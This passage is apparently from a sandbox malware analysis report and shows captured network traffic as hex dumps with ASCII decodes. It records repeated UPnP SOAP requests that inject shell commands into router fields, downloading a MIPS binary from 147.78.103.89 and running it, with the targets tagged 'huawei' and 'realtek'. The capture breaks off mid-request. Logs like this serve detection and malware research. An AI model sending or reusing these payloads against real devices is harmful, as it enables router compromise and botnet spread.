                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      60192.168.2.154484845.41.84.21552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:16.645936012 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:20.890134096 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:27.034013033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:39.065635920 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.129061937 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:52.279517889 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      61192.168.2.154318445.120.204.652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:16.983553886 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
